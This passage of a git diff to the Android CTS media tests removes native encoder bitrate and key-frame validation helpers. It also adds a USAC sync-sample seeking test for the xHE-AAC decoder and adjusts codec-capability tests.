-    int32_t framesToEncode = mRunConfig->frameCount();
-    auto dynamicParams = mRunConfig->dynamicParams();
-    auto paramItr = dynamicParams.begin();
-    int32_t nFrameCount = 0;
-
-    while (nFrameCount < framesToEncode) {
-        // apply frame-specific settings
-        for (;paramItr != dynamicParams.end()
-                && (*paramItr)->frameNum() <= nFrameCount; ++paramItr) {
-            DParamRef& p = *paramItr;
-            if (p->frameNum() == nFrameCount) {
-                assert(p->param() != nullptr);
-                const char *s = AMediaFormat_toString(p->param());
-                ALOGI("Encoder DynamicParam @frame[%d] - applying setting : %s",
-                        nFrameCount, s);
-                AMediaCodec_setParameters(mEnc.get(), p->param());
-            }
-        }
-
-        AMediaCodecBufferInfo info;
-        int status = AMediaCodec_dequeueOutputBuffer(mEnc.get(), &info, 5000000);
-        if (status >= 0) {
-            ALOGV("got encoded buffer[%d] of size=%d @%lld us flags=%x",
-                    nFrameCount, info.size, (long long)info.presentationTimeUs, info.flags);
-            mStats.add(info);
-            AMediaCodec_releaseOutputBuffer(mEnc.get(), status, false);
-            ++nFrameCount;
-
-            if (info.flags & AMEDIACODEC_BUFFER_FLAG_END_OF_STREAM) {
-                ALOGV("saw EOS");
-                break;
-            }
-
-        } else if (status == AMEDIACODEC_INFO_OUTPUT_BUFFERS_CHANGED) {
-        } else if (status == AMEDIACODEC_INFO_OUTPUT_FORMAT_CHANGED) {
-            std::shared_ptr<AMediaFormat> format = std::shared_ptr<AMediaFormat>(
-                    AMediaCodec_getOutputFormat(mEnc.get()), deleter_AMediaFormat);
-            mStats.setOutputFormat(format);
-            ALOGV("format changed: %s", AMediaFormat_toString(format.get()));
-        } else if (status == AMEDIACODEC_INFO_TRY_AGAIN_LATER) {
-            ALOGE("no frame in 5 seconds, assume stuck");
-            break;
-        } else {
-            ALOGV("Invalid status : %d", status);
-        }
-    }
-
-    ALOGV("Encoder exited !");
-    AMediaCodec_stop(mEnc.get());
-}
-
-static std::shared_ptr<AMediaFormat> createMediaFormat(
-        std::string mime,
-        int32_t w, int32_t h, int32_t colorFormat,
-        int32_t bitrate, float framerate,
-        int32_t i_interval) {
-
-    std::shared_ptr<AMediaFormat> config(AMediaFormat_new(), deleter_AMediaFormat);
-
-    AMediaFormat_setString(config.get(), AMEDIAFORMAT_KEY_MIME, mime.c_str());
-    AMediaFormat_setInt32(config.get(), AMEDIAFORMAT_KEY_WIDTH, w);
-    AMediaFormat_setInt32(config.get(), AMEDIAFORMAT_KEY_HEIGHT, h);
-    AMediaFormat_setFloat(config.get(), AMEDIAFORMAT_KEY_FRAME_RATE, framerate);
-    AMediaFormat_setInt32(config.get(), AMEDIAFORMAT_KEY_BIT_RATE, bitrate);
-    AMediaFormat_setInt32(config.get(), AMEDIAFORMAT_KEY_I_FRAME_INTERVAL, i_interval);
-    AMediaFormat_setInt32(config.get(), AMEDIAFORMAT_KEY_COLOR_FORMAT, colorFormat);
-
-    return config;
-}
-
-static int32_t getOptimalBitrate(int w, int h) {
-    return (w * h <= 640 * 480) ? 1000000 :
-            (w * h <= 1280 * 720) ? 2000000 :
-            (w * h <= 1920 * 1080) ? 6000000 :
-            10000000;
-}
-
-//-----------------------------------------------------------------------------
-// Tests
-//-----------------------------------------------------------------------------
-static bool runNativeEncoderTest(
-        JNIEnv *env, int fd, jlong offset, jlong fileSize,
-        jstring jmime, int w, int h,
-        const std::vector<DParamRef>& dynParams,
-        int32_t numFrames,
-        bool usePersistentSurface) {
-
-    // If dynamic I-frame is requested, set large-enough i-period
-    // so that auto I-frames do not interfere with the ones explicitly requested,
-    // and hence simplify validation.
-    bool hasDynamicSyncRequest = false;
-
-    // If dynamic bitrate updates are requested, set bitrate mode to CBR to
-    // ensure bitrate within 'window of two updates' remains constant
-    bool hasDynamicBitrateChanges = false;
-
-    for (const DParamRef &d : dynParams) {
-        int32_t temp;
-        if (AMediaFormat_getInt32(d->param(), TBD_AMEDIACODEC_PARAMETER_KEY_REQUEST_SYNC_FRAME, &temp)) {
-            hasDynamicSyncRequest = true;
-        } else if (AMediaFormat_getInt32(d->param(), TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE, &temp)) {
-            hasDynamicBitrateChanges = true;
-        }
-    }
-
-    const char* cmime = env->GetStringUTFChars(jmime, nullptr);
-    std::string mime = cmime;
-    env->ReleaseStringUTFChars(jmime, cmime);
-
-    float fps = 30.0f;
-    std::shared_ptr<AMediaFormat> config = createMediaFormat(
-            mime, w, h, kColorFormatSurface,
-            getOptimalBitrate(w, h),
-            fps,
-            hasDynamicSyncRequest ? numFrames / fps : 1 /*sec*/);
-
-    if (hasDynamicBitrateChanges) {
-        AMediaFormat_setInt32(config.get(), TBD_AMEDIAFORMAT_KEY_BIT_RATE_MODE, kBitrateModeConstant);
-    }
-
-    std::shared_ptr<Source> src = createDecoderSource(
-            w, h, kColorFormatSurface, fps,
-            true /*looping*/,
-            hasDynamicSyncRequest | hasDynamicBitrateChanges, /*regulate feeding rate*/
-            fd, offset, fileSize);
-
-    std::unique_ptr<RunConfig> runConfig = std::make_unique<RunConfig>(numFrames, config);
-    for (const DParamRef &d : dynParams) {
-        runConfig->add(d);
-    }
-
-    std::string debugOutputFileName = "";
-    std::shared_ptr<NativeEncoder> enc(new NativeEncoder(debugOutputFileName));
-
-    if (usePersistentSurface) {
-        std::shared_ptr<ANativeWindow> persistentSurface = enc->getPersistentSurface();
-        enc->prepare(std::move(runConfig), persistentSurface);
-        src->prepare(nullptr /*bufferListener*/, persistentSurface);
-    } else {
-        enc->prepare(std::move(runConfig));
-        src->prepare(nullptr /*bufferListener*/, enc->getSurface());
-    }
-
-    src->start();
-    enc->start();
-
-    enc->waitForCompletion();
-
-    Status status = enc->validate();
-
-    src->stop();
-    enc->reset();
-
-    return status == OK;
-}
-
-extern "C" jboolean Java_android_media_cts_NativeEncoderTest_testEncodeSurfaceNative(
-        JNIEnv *env, jclass /*clazz*/, int fd, jlong offset, jlong fileSize,
-        jstring jmime, int w, int h) {
-
-    std::vector<DParamRef> dynParams;
-    return runNativeEncoderTest(env, fd, offset, fileSize, jmime, w, h,
-            dynParams, 300, false /*usePersistentSurface*/);
-
-}
-
-extern "C" jboolean Java_android_media_cts_NativeEncoderTest_testEncodePersistentSurfaceNative(
-        JNIEnv *env, jclass /*clazz*/, int fd, jlong offset, jlong fileSize,
-        jstring jmime, int w, int h) {
-
-    std::vector<DParamRef> dynParams;
-    return runNativeEncoderTest(env, fd, offset, fileSize, jmime, w, h,
-            dynParams, 300, true /*usePersistentSurface*/);
-}
-
-extern "C" jboolean Java_android_media_cts_NativeEncoderTest_testEncodeSurfaceDynamicSyncFrameNative(
-        JNIEnv *env, jclass /*clazz*/, int fd, jlong offset, jlong fileSize,
-        jstring jmime, int w, int h) {
-
-    std::vector<DParamRef> dynParams;
-    for (int32_t frameNum : {40, 75, 160, 180, 250}) {
-        dynParams.push_back(DynamicParam::newRequestSync(frameNum));
-    }
-
-    return runNativeEncoderTest(env, fd, offset, fileSize, jmime, w, h,
-            dynParams, 300, false /*usePersistentSurface*/);
-}
-
-extern "C" jboolean Java_android_media_cts_NativeEncoderTest_testEncodeSurfaceDynamicBitrateNative(
-        JNIEnv *env, jclass /*clazz*/, int fd, jlong offset, jlong fileSize,
-        jstring jmime, int w, int h) {
-
-    int32_t bitrate = getOptimalBitrate(w, h);
-    std::vector<DParamRef> dynParams;
-
-    dynParams.push_back(DynamicParam::newBitRate(100,  bitrate/2));
-    dynParams.push_back(DynamicParam::newBitRate(200,  3*bitrate/4));
-    dynParams.push_back(DynamicParam::newBitRate(300,  bitrate));
-
-    return runNativeEncoderTest(env, fd, offset, fileSize, jmime, w, h,
-            dynParams, 400, false /*usePersistentSurface*/);
-}
-
diff --git a/tests/tests/media/libmediandkjni/native_media_utils.cpp b/tests/tests/media/libmediandkjni/native_media_utils.cpp
index 7596cbb..21b7f7f 100644
--- a/tests/tests/media/libmediandkjni/native_media_utils.cpp
+++ b/tests/tests/media/libmediandkjni/native_media_utils.cpp
@@ -27,11 +27,6 @@
 
 namespace Utils {
 
-const char * TBD_AMEDIACODEC_PARAMETER_KEY_REQUEST_SYNC_FRAME = "request-sync";
-const char * TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE = "video-bitrate";
-
-const char * TBD_AMEDIAFORMAT_KEY_BIT_RATE_MODE = "bitrate-mode";
-
 Status Thread::startThread() {
     assert(mHandle == 0);
     if (pthread_create(&mHandle, nullptr, Thread::thread_wrapper, this) != 0) {
@@ -56,273 +51,4 @@
     return nullptr;
 }
 
-int32_t RunConfig::dynamicParamsOfKind(
-        const char *key, std::vector<DParamRef>& paramsList) const {
-    paramsList.clear();
-    for (const DParamRef& d : mParams) {
-        assert(d->param() != nullptr);
-
-        if (!strncmp(key, TBD_AMEDIACODEC_PARAMETER_KEY_REQUEST_SYNC_FRAME,
-                strlen(TBD_AMEDIACODEC_PARAMETER_KEY_REQUEST_SYNC_FRAME))) {
-            int32_t tmp;
-            if (AMediaFormat_getInt32(d->param(), TBD_AMEDIACODEC_PARAMETER_KEY_REQUEST_SYNC_FRAME, &tmp)) {
-                paramsList.push_back(d);
-            }
-
-        } else if (!strncmp(key, TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE,
-                strlen(TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE))) {
-            int32_t tmp;
-            if (AMediaFormat_getInt32(d->param(), TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE, &tmp)) {
-                paramsList.push_back(d);
-            }
-        }
-    }
-    return (int32_t)paramsList.size();
-}
-
-static bool comparePTS(const AMediaCodecBufferInfo& l, const AMediaCodecBufferInfo& r) {
-    return l.presentationTimeUs < r.presentationTimeUs;
-}
-
-int32_t Stats::getBitrateAverage(int32_t frameNumFrom, int32_t frameNumTo) const {
-    int64_t sum = 0;
-    assert(frameNumFrom >= 0 && frameNumTo < mInfos.size());
-    for (int i = frameNumFrom; i < frameNumTo; ++i) {
-        sum += mInfos[i].size;
-    }
-    sum *= 8; // kB -> kb
-
-    auto from = mInfos.begin() + frameNumFrom;
-    auto to = mInfos.begin() + frameNumTo;
-    int64_t duration = (*std::max_element(from, to, comparePTS)).presentationTimeUs
-            - (*std::min_element(from, to, comparePTS)).presentationTimeUs;
-    if (duration <= 0) {
-        return 0;
-    }
-
-    int64_t avg = (sum * 1e6) / duration;
-    return (int32_t)avg;
-}
-
-int32_t Stats::getBitratePeak(
-        int32_t frameNumFrom, int32_t frameNumTo, int32_t windowSize) const {
-    int64_t sum = 0;
-    int64_t maxSum = 0;
-    assert(frameNumFrom >= 0 && frameNumTo < mInfos.size());
-    assert(windowSize < (frameNumTo - frameNumFrom));
-
-    for (int i = frameNumFrom; i < frameNumTo; ++i) {
-        sum += mInfos[i].size;
-        if (i >= windowSize) {
-            sum -= mInfos[i - windowSize].size;
-        }
-        maxSum = sum > maxSum ? sum : maxSum;
-    }
-    maxSum *= 8; // kB -> kb
-    int64_t duration = mInfos[frameNumTo].presentationTimeUs -
-            mInfos[frameNumFrom].presentationTimeUs;
-    if (duration <= 0) {
-        return 0;
-    }
-
-    int64_t peak = (maxSum * 1e6) / duration;
-    return (int32_t)peak;
-}
-
-int32_t Stats::getSyncFrameNext(int32_t frameNumWhence) const {
-    assert(frameNumWhence >= 0 && frameNumWhence < mInfos.size());
-    int i = frameNumWhence;
-    for (; i < (int)mInfos.size(); ++i) {
-        if (mInfos[i].flags & TBD_AMEDIACODEC_BUFFER_FLAG_KEY_FRAME) {
-            return i;
-        }
-    }
-    return -1;
-}
-
-Status Validator::checkOverallBitrate(const Stats &stats, const RunConfig& config) {
-    // skip this check if bitrate was updated dynamically
-    ALOGV("DEBUG: checkOverallBitrate");
-    std::vector<DParamRef> tmp;
-    if (config.dynamicParamsOfKind(TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE, tmp) > 0) {
-        ALOGV("DEBUG: checkOverallBitrate: dynamic bitrate enabled");
-        return OK;
-    }
-
-    int32_t bitrate = 0;
-    if (!AMediaFormat_getInt32(config.format(), AMEDIAFORMAT_KEY_BIT_RATE, &bitrate)) {
-        // should not happen
-        ALOGV("DEBUG: checkOverallBitrate: bitrate was not configured !");
-        return FAIL;
-    }
-    assert(bitrate > 0);
-
-    int32_t avgBitrate = stats.getBitrateAverage(0, config.frameCount() - 1);
-    float deviation = (avgBitrate - bitrate) * 100 / bitrate;
-    ALOGI("RESULT: Bitrate expected=%d Achieved=%d Deviation=%.2g%%",
-            bitrate, avgBitrate, deviation);
-
-    if (fabs(deviation) > kBitrateDeviationPercentMax) {
-        ALOGI("RESULT: ERROR: bitrate deviation(%.2g%%) exceeds threshold (+/-%.2g%%)",
-                deviation, kBitrateDeviationPercentMax);
-        return FAIL;
-    }
-
-    // TODO
-    // if bitrate mode was set to CBR, check for peak-bitrate deviation (+/-20%?)
-    return OK;
-}
-
-Status Validator::checkFramerate(const Stats&, const RunConfig&) {
-    // TODO - tricky if frames are reordered
-    return OK;
-}
-
-Status Validator::checkIntraPeriod(const Stats& stats, const RunConfig& config) {
-    float framerate;
-    if (!AMediaFormat_getFloat(config.format(), AMEDIAFORMAT_KEY_FRAME_RATE, &framerate)) {
-        // should not happen
-        ALOGV("DEBUG: checkIntraPeriod: framerate was not configured ! : %s",
-                AMediaFormat_toString(config.format()));
-        return OK;
-    }
-
-    int32_t intraPeriod;
-    if (!AMediaFormat_getInt32(config.format(), AMEDIAFORMAT_KEY_I_FRAME_INTERVAL, &intraPeriod)) {
-        // should not happen
-        ALOGV("DEBUG: checkIntraPeriod: I-period was not configured !");
-        return OK;
-    }
-
-    // TODO: handle special cases
-    // intraPeriod = 0  => all I
-    // intraPeriod < 0  => infinite GOP
-    if (intraPeriod <= 0) {
-        return OK;
-    }
-
-    int32_t iInterval = framerate * intraPeriod;
-
-    if (iInterval >= stats.frameCount()) {
-        ALOGV("RESULT: Intra-period %d exceeds frame-count %d ..skipping",
-                iInterval, stats.frameCount());
-        return OK;
-    }
-
-    int32_t numGopFound = 0;
-    int32_t sumGopDistance = 0;
-    int32_t lastKeyLocation = stats.getSyncFrameNext(0);
-    for (;;) {
-        int32_t nextKeyLocation = stats.getSyncFrameNext(lastKeyLocation + iInterval - kSyncFrameDeviationFramesMax);
-        if (nextKeyLocation < 0) {
-            break;
-        }
-        if (abs(nextKeyLocation - lastKeyLocation - iInterval) > kSyncFrameDeviationFramesMax) {
-            ALOGE("RESULT: ERROR: Intra period at frame %d is %d (expected %d +/-%d)",
-                    lastKeyLocation, nextKeyLocation - lastKeyLocation, iInterval,
-                    kSyncFrameDeviationFramesMax);
-            return FAIL;
-        }
-        ++numGopFound;
-        sumGopDistance += (nextKeyLocation - lastKeyLocation);
-        lastKeyLocation = nextKeyLocation;
-    }
-
-    if (numGopFound) {
-        ALOGI("RESULT: Intra-period: configured=%d frames (%d sec). Actual=%d frames",
-                iInterval, intraPeriod, sumGopDistance / numGopFound);
-    }
-
-    return OK;
-}
-
-Status Validator::checkDynamicKeyFrames(const Stats& stats, const RunConfig& config) {
-    ALOGV("DEBUG: checkDynamicKeyFrames");
-    std::vector<DParamRef> keyRequests;
-    if (config.dynamicParamsOfKind(TBD_AMEDIACODEC_PARAMETER_KEY_REQUEST_SYNC_FRAME, keyRequests) <= 0) {
-        ALOGV("DEBUG: dynamic key-frames were not requested");
-        return OK;
-    }
-
-    std::string debugStr = "";
-    bool fail = false;
-    for (DParamRef &d : keyRequests) {
-        int32_t generatedKeyLocation = stats.getSyncFrameNext(d->frameNum());
-        if (generatedKeyLocation - d->frameNum() > kSyncFrameDeviationFramesMax) {
-            ALOGI("RESULT: ERROR: Dynamic sync-frame requested at frame=%d, got at frame=%d",
-                    d->frameNum(), generatedKeyLocation);
-            fail = true;
-        }
-        char tmp[128];
-        snprintf(tmp, 128, " %d/%d,", generatedKeyLocation, d->frameNum());
-        debugStr = debugStr + std::string(tmp);
-    }
-    ALOGI("RESULT: Dynamic Key-frame locations - actual/requested :");
-    ALOGI("RESULT:         %s", debugStr.c_str());
-
-    return fail ? FAIL : OK;
-}
-
-Status Validator::checkDynamicBitrate(const Stats& stats, const RunConfig& config) {
-    // Checking bitrate convergence between two updates makes sense if requested along with CBR
-    // check if CBR mode has been set. If not, simply pass
-    int32_t bitrateMode;
-    if (!AMediaFormat_getInt32(config.format(), TBD_AMEDIAFORMAT_KEY_BIT_RATE_MODE,
-            &bitrateMode) || bitrateMode != kBitrateModeConstant) {
-        ALOGV("DEBUG: checkDynamicBitrate: skipping since CBR not requested");
-        return OK; //skip
-    }
-
-    // check if dynamic bitrates were requested
-    std::vector<DParamRef> bitrateUpdates;
-    if (config.dynamicParamsOfKind(TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE, bitrateUpdates) <= 0) {
-        ALOGV("DEBUG: checkDynamicBitrate: dynamic bitrates not requested !");
-        return OK; //skip
-    }
-    int32_t bitrate = 0;
-    if (!AMediaFormat_getInt32(config.format(), AMEDIAFORMAT_KEY_BIT_RATE, &bitrate)) {
-        // should not happen
-        ALOGV("DEBUG: checkDynamicBitrate: bitrate was not configured !");
-        return OK; //skip
-    }
-    assert(bitrate > 0);
-
-    std::string debugStr = "";
-    int32_t lastBitrateUpdateFrameNum = 0;
-    int32_t lastBitrate = bitrate;
-    bool fail = false;
-
-    for (DParamRef &d : bitrateUpdates) {
-        int32_t updatedBitrate = 0;
-        if (!AMediaFormat_getInt32(
-                d->param(), TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE, &updatedBitrate)) {
-            ALOGE("BUG: expected dynamic bitrate");
-            continue;
-        }
-        assert(updatedBitrate > 0);
-
-        int32_t lastAverage = stats.getBitrateAverage(lastBitrateUpdateFrameNum,  d->frameNum() - 1);
-        float deviation = (lastAverage - lastBitrate) * 100 / lastBitrate;
-
-        if (fabs(deviation) > kBitrateDeviationPercentMax) {
-            ALOGI("RESULT: ERROR: dynamic bitrate deviation(%.2g%%) exceeds threshold (+/-%.2g%%)",
-                    deviation, kBitrateDeviationPercentMax);
-            fail |= true;
-        }
-
-        char tmp[128];
-        snprintf(tmp, 128, "  [%d - %d] %d/%d,",
-                lastBitrateUpdateFrameNum, d->frameNum() - 1, lastAverage, lastBitrate);
-        debugStr = debugStr + std::string(tmp);
-        lastBitrate = updatedBitrate;
-        lastBitrateUpdateFrameNum = d->frameNum();
-    }
-
-    ALOGI("RESULT: Dynamic Bitrates : [from-frame  -  to-frame] actual/expected :");
-    ALOGI("RESULT:        %s", debugStr.c_str());
-
-    return fail ? FAIL : OK;
-}
-
-
 }; // namespace Utils
diff --git a/tests/tests/media/libmediandkjni/native_media_utils.h b/tests/tests/media/libmediandkjni/native_media_utils.h
index 8a1751e..e5842f7 100644
--- a/tests/tests/media/libmediandkjni/native_media_utils.h
+++ b/tests/tests/media/libmediandkjni/native_media_utils.h
@@ -32,20 +32,6 @@
 
 namespace Utils {
 
-// constants not defined in NDK api
-extern const char * TBD_AMEDIACODEC_PARAMETER_KEY_REQUEST_SYNC_FRAME;
-extern const char * TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE;
-static const uint32_t TBD_AMEDIACODEC_BUFFER_FLAG_KEY_FRAME = 0x1;
-
-extern const char * TBD_AMEDIAFORMAT_KEY_BIT_RATE_MODE;
-static const int32_t kBitrateModeConstant = 2;
-static const int32_t kColorFormatSurface = 0x7f000789;
-
-// tolerances
-// Keep in sync with the variation at src/android/media/cts/VideoCodecTest.java
-static const float kBitrateDeviationPercentMax = 20.0;
-static const int32_t kSyncFrameDeviationFramesMax = 5;
-
 enum Status : int32_t {
     FAIL = -1,
     OK = 0,
@@ -92,117 +78,6 @@
     ANativeWindow_release(_a);
 }
 
-/*
- * Dynamic paramater that will be applied via AMediaCodec_setParamater(..)
- *  during the encoding process, at the given frame number
- */
-struct DynamicParam {
-    DynamicParam() = delete;
-    DynamicParam(const DynamicParam&) = delete;
-    ~DynamicParam() = default;
-
-    static std::shared_ptr<DynamicParam> newBitRate(int atFrame, int32_t bitrate) {
-        DynamicParam *d = new DynamicParam(atFrame);
-        AMediaFormat_setInt32(d->param(), TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE, bitrate);
-        return std::shared_ptr<DynamicParam>(d);
-    }
-    static std::shared_ptr<DynamicParam> newRequestSync(int atFrame) {
-        DynamicParam *d = new DynamicParam(atFrame);
-        AMediaFormat_setInt32(d->param(), TBD_AMEDIACODEC_PARAMETER_KEY_REQUEST_SYNC_FRAME, 0 /*ignore*/);
-        return std::shared_ptr<DynamicParam>(d);
-    }
-
-    inline int frameNum() const {
-        return mFrameNum;
-    }
-    inline AMediaFormat *param() const {
-        return mParam.get();
-    }
-
-private:
-    DynamicParam(int _at)
-        : mFrameNum(_at) {
-        mParam = std::shared_ptr<AMediaFormat>(AMediaFormat_new(), deleter_AMediaFormat);
-    }
-
-    int mFrameNum;
-    std::shared_ptr<AMediaFormat> mParam;
-};
-
-using DParamRef = std::shared_ptr<DynamicParam>;
-
-/*
- * Configuration to the encoder (static + dynamic)
- */
-struct RunConfig {
-    RunConfig(const RunConfig&) = delete;
-    RunConfig(int32_t numFramesToEncode, std::shared_ptr<AMediaFormat> staticParams)
-        : mNumFramesToEncode (numFramesToEncode),
-          mStaticParams(staticParams) {
-    }
-    void add(const DParamRef& p) {
-        mParams.push_back(p);
-    }
-
-    AMediaFormat* format() const {
-        return mStaticParams.get();
-    }
-    const std::vector<DParamRef>& dynamicParams() const {
-        return mParams;
-    }
-    int32_t frameCount() const {
-        return mNumFramesToEncode;
-    }
-    int32_t dynamicParamsOfKind(
-        const char *key, std::vector<DParamRef>& ) const;
-
-private:
-    int32_t mNumFramesToEncode;
-    std::vector<DParamRef> mParams;
-    std::shared_ptr<AMediaFormat> mStaticParams;
-};
-
-/*
- * Encoded output statistics
- * provides helpers to compute windowed average of bitrate and search for I-frames
- */
-struct Stats {
-    Stats() = default;
-    Stats(const Stats&) = delete;
-    void add(const AMediaCodecBufferInfo &info) {
-        mInfos.push_back(info);
-    }
-    void setOutputFormat(std::shared_ptr<AMediaFormat> fmt) {
-        mOutputFormat = fmt;
-    }
-    int32_t frameCount() const {
-        return (int32_t)mInfos.size();
-    }
-    const std::vector<AMediaCodecBufferInfo>& infos() const {
-        return mInfos;
-    }
-
-    int32_t getBitrateAverage(int32_t frameNumFrom, int32_t frameNumTo) const;
-    int32_t getBitratePeak(int32_t frameNumFrom, int32_t frameNumTo, int32_t windowSize) const;
-    int32_t getSyncFrameNext(int32_t frameNumWhence) const;
-
-private:
-    std::vector<AMediaCodecBufferInfo> mInfos;
-    std::shared_ptr<AMediaFormat> mOutputFormat;
-};
-
-/*
- * Helpers to validate output (Stats) based on expected settings (RunConfig)
- * Check for validity of both static and dynamic settings
- */
-struct Validator {
-    static Status checkOverallBitrate(const Stats&, const RunConfig&);
-    static Status checkFramerate(const Stats&, const RunConfig&);
-    static Status checkIntraPeriod(const Stats&, const RunConfig&);
-    static Status checkDynamicKeyFrames(const Stats&, const RunConfig&);
-    static Status checkDynamicBitrate(const Stats&, const RunConfig&);
-};
-
 }; //namespace Utils
 
 #endif // _NATIVE_MEDIA_UTILS_H_
diff --git a/tests/tests/media/res/raw/sine_2ch_48khz_aot42_seek_mp4.m4a b/tests/tests/media/res/raw/sine_2ch_48khz_aot42_seek_mp4.m4a
new file mode 100644
index 0000000..c0d5056
--- /dev/null
+++ b/tests/tests/media/res/raw/sine_2ch_48khz_aot42_seek_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java b/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
index 0b4dee5..8536f30 100755
--- a/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
@@ -559,6 +559,38 @@
         }
     }
 
+
+    /**
+     * Verify that seeking works correctly for USAC.
+     * Sync samples have to be taken into consideration.
+     */
+    @Test
+    public void testDecodeUsacSyncSampleSeekingM4a() throws Exception {
+        Log.v(TAG, "START testDecodeUsacSyncSampleSeekingM4a");
+
+        assertTrue("No AAC decoder found", sAacDecoderNames.size() > 0);
+
+        for (String aacDecName : sAacDecoderNames) {
+            try {
+                runDecodeUsacSyncSampleSeekingM4a(aacDecName);
+            } catch (Error err) {
+                throw new Error(err.getMessage() + " [dec=" + aacDecName + "]" , err);
+            }
+        }
+    }
+
+    private void runDecodeUsacSyncSampleSeekingM4a(String aacDecName) throws Exception {
+        Log.v(TAG, "testDecodeUsacSyncSampleSeekingM4a running for dec=" + aacDecName);
+        // test usac seeking
+        try {
+            checkUsacSyncSampleSeeking(R.raw.sine_2ch_48khz_aot42_seek_mp4, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacSyncSampleSeekingM4a failed for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+        Log.v(TAG, "testDecodeUsacSyncSampleSeekingM4a running for dec=" + aacDecName);
+    }
+
     /**
      *  Internal utilities
      */
@@ -796,6 +828,17 @@
         }
     }
 
+    private void checkUsacSyncSampleSeeking(int testInput, String decoderName) throws Exception {
+
+        AudioParameter decParams = new AudioParameter();
+        DrcParams drcParams_def = new DrcParams();
+
+        short[] decSamples_seek_next_sync = decodeToMemory(decParams, testInput, -1, null,
+                drcParams_def, decoderName, false, -2, true, 1100000,
+                MediaExtractor.SEEK_TO_NEXT_SYNC);
+        float[] nrg_seek_next_sync = checkEnergyUSAC(decSamples_seek_next_sync, decParams, 2, 1);
+    }
+
     /**
      * Perform a segmented energy analysis on given audio signal samples and run several tests on
      * the energy values.
@@ -1172,11 +1215,16 @@
      *                      before starting to decode
      * @param expectedOutputLoudness value to check if the correct output loudness is returned
      *     by the decoder
+     * @param seek_enable defines whether there will be an initial seek
+     * @param seek_duration seeking duration in microseconds
+     * @param seek_mode seeking mode 
+     *
      * @throws RuntimeException
      */
     public short[] decodeToMemory(AudioParameter audioParams, int testinput, int eossample,
             List<Long> timestamps, DrcParams drcParams, String decoderName, boolean runtimeChange,
-            int expectedOutputLoudness) throws IOException {
+            int expectedOutputLoudness,
+            boolean seek_enable, int seek_duration, int seek_mode) throws IOException {
         // TODO: code is the same as in DecoderTest, differences are:
         //          - addition of application of DRC parameters
         //          - no need/use of resetMode, configMode
@@ -1285,6 +1333,12 @@
 
         extractor.selectTrack(0);
 
+        // execute initial seeking if specified
+        if (seek_enable) {
+            codec.flush();
+            extractor.seekTo(seek_duration, seek_mode);
+        }
+
         // start decoding
         final long kTimeOutUs = 5000;
         MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
@@ -1436,7 +1490,7 @@
             throws IOException
     {
         final short[] decoded = decodeToMemory(audioParams, testinput, eossample, timestamps,
-                drcParams, decoderName, false, -2);
+                drcParams, decoderName, false, -2, false, 0, 0);
         return decoded;
     }
 
@@ -1446,9 +1500,18 @@
         throws IOException
     {
         final short[] decoded = decodeToMemory(audioParams, testinput, eossample, timestamps,
-                drcParams, decoderName, runtimeChange, -2);
+                drcParams, decoderName, runtimeChange, -2, false, 0, 0);
         return decoded;
     }
 
+    private short[] decodeToMemory(AudioParameter audioParams, int testinput,
+        int eossample, List<Long> timestamps, DrcParams drcParams, String decoderName,
+        boolean runtimeChange, int expectedOutputLoudness)
+        throws IOException
+    {
+        short [] decoded = decodeToMemory(audioParams, testinput, eossample, timestamps, drcParams,
+                decoderName, runtimeChange, expectedOutputLoudness, false, 0, 0);
+        return decoded;
+    }
 }
 
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecBlockModelTest.java b/tests/tests/media/src/android/media/cts/MediaCodecBlockModelTest.java
index 58eec3e..f6ac4f7 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecBlockModelTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecBlockModelTest.java
@@ -59,6 +59,7 @@
 /**
  * MediaCodec tests with CONFIGURE_FLAG_USE_BLOCK_MODEL.
  */
+@NonMediaMainlineTest
 public class MediaCodecBlockModelTest extends AndroidTestCase {
     private static final String TAG = "MediaCodecBlockModelTest";
     private static final boolean VERBOSE = false;           // lots of logging
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecCapabilitiesTest.java b/tests/tests/media/src/android/media/cts/MediaCodecCapabilitiesTest.java
index d17e702..7e75fb7 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecCapabilitiesTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecCapabilitiesTest.java
@@ -35,7 +35,6 @@
 import static android.media.MediaFormat.MIMETYPE_VIDEO_VP9;
 import android.media.MediaPlayer;
 import android.os.Build;
-import android.os.SystemProperties;
 import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
 import android.util.Range;
@@ -697,6 +696,7 @@
     private int getActualMax(
             boolean isEncoder, String name, String mime, CodecCapabilities caps, int max) {
         int flag = isEncoder ? MediaCodec.CONFIGURE_FLAG_ENCODE : 0;
+        boolean memory_limited = false;
         MediaFormat format = createMinFormat(mime, caps);
         Log.d(TAG, "Test format " + format);
         Vector<MediaCodec> codecs = new Vector<MediaCodec>();
@@ -716,6 +716,7 @@
                 am.getMemoryInfo(outInfo);
                 if (outInfo.lowMemory) {
                     Log.d(TAG, "System is in low memory condition, stopping. max: " + i);
+                    memory_limited = true;
                     break;
                 }
             } catch (IllegalArgumentException e) {
@@ -745,6 +746,10 @@
             codecs.get(i).release();
         }
         codecs.clear();
+        // encode both actual max and whether we ran out of memory
+        if (memory_limited) {
+            actualMax = -actualMax;
+        }
         return actualMax;
     }
 
@@ -773,13 +778,20 @@
     }
 
     public void testGetMaxSupportedInstances() {
-        final int MAX_INSTANCES = 32;
